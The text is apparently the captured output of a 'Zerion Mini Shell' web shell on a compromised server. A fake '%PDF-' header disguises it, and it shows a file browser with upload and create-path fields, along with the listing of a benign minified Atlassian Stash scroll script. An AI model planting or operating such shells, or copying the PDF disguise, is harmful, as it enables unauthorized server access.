%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/util/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/util/scroll-min.js

define("util/scroll",["jquery","util/feature-detect","exports"],function(F,B,D){var G={waitForImages:false,cancelIfScrolled:false,duration:400,getScrollPadding:function(){return document.documentElement.clientHeight/4}};function A(H,J,I){F("html, body").animate({scrollTop:Math.max(0,H-J)},I)}function C(J,I){var K=F.extend({},G,I);var L=false;if(K.cancelIfScrolled){F(document).one("scroll",function(){L=true})}function H(){if(!L){var M=J.offset();if(M){A(M.top,K.getScrollPadding(),K.duration)}}}if(K.waitForImages){F(document).imagesLoaded(H)}else{H()}}function E(L){var J=B.cssTransform();var I={left:0,top:0};function K(N,M){I.left=(N==null?I.left:N);I.top=(M==null?I.top:M);return I}var H;switch(J){case"msTransform":H=function(M){L.style[J]="translate("+-Math.round(M.left)+"px, "+-Math.round(M.top)+"px)"};break;case undefined:H=function(M){L.style.left=-Math.round(M.left);L.style.top=-Math.round(M.top)};break;default:H=function(M){L.style[J]="translate3d("+-Math.round(M.left)+"px, "+-Math.round(M.top)+"px, 0)"}}return _.compose(H,K)}D.scrollTo=C;D.fakeScroll=E});

Zerion Mini Shell 1.0